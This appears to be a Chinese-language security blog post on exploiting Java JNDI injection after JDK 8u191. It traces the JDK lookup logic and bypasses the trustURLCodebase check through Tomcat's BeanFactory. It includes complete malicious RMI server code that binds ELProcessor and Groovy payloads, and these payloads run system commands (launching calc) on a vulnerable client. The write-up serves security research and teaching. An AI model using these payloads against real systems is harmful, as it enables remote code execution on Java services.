在java中jndi注入是一个老生常谈的问题
在java中jndi注入是一个老生常谈的问题,而jndi注入用一行代码表示如下
new InitialContext().lookup(request.getParameter("q"));
当lookup()函数的值可控时,可以自己搭建恶意的rmi/ldap服务,客户端加载我们恶意的服务端类对象codebase,并创建实例,使得static代码块中的代码被执行。
oracle在jdk8u121使用trustURLCodebase限制了rmi对于codebase的远程加载,但是可以使用ldap绕过,但是8u191之后ldap同样不能使用。由此本文展开对于8u191之后的jndi注入的利用。
在com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)
中
进行decodeObject(),跟进
断点的地方就是trustURLCodebase所在的限制。分析if条件得到如果Reference对象var8不为空并且var8的classFactoryLocation字段不为空,那么就抛出异常。
绕过也是出在这里
如上文所说,如果我们构造一个classFactoryLocation字段为空的Reference对象,那么这个if就过去了。即
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
通过ResourceRef的构造方法,赋予最后一个字段为空即可。接下来继续走到NamingManager.getObjectInstance(var3, var2, this, this.environment);
在getObjectFactoryFromReference()有具体的加载规则
首先先尝试从本地classpath中加载类,并且进行了一个ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)
的过滤。如果找不到类的话从codebase加载,也就是160行,需要clas为空(本地没找到)、classFactoryLocation不为空,然后173行创建实例。
但是classFactoryLocation不为空的条件和上文的绕过方式冲突了,所以不能用helper.loadClass(factoryName, codebase)
来加载类执行代码。
所以重新回到javax.naming.spi.NamingManager#getObjectInstance方法中
329行绕不过,但是可以加载本地的classpath的ObjectFactory工厂类对象,然后调用其getObjectInstance方法来创建对象。所以我们需要寻找哪个工厂类中的getObjectInstance方法可以利用。
ObjectFactory是一个接口类,getObjectInstance是该类的一个接口
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception;
我们需要找一个类,这个类首先要实现ObjectFactory接口,并且其getObjectInstance方法实现中有可以被用来构造exp的逻辑。
由此引入org.apache.naming.factory.BeanFactory类,在org.apache.naming.factory.BeanFactory#getObjectInstance中
首先
加载ELProcessor类,然后
取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且在64行填充了一个string类型的参数作为method的反射调用,在80行通过method名和一个string的参数拿到eval函数
最后反射调用
整个rmi的服务端代码如下
package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("evilEL", referenceWrapper);
}
}
除了el表达式之外还有groovy也可以,原理一样,代码如下。
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("evilGroovy", referenceWrapper);
}
org.apache.naming.factory.BeanFactory
需要tomcat8+或者SpringBoot 1.2.x+,因为javax.el.ELProcessor类。
groovy同样需要groovy和Tomcat依赖。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。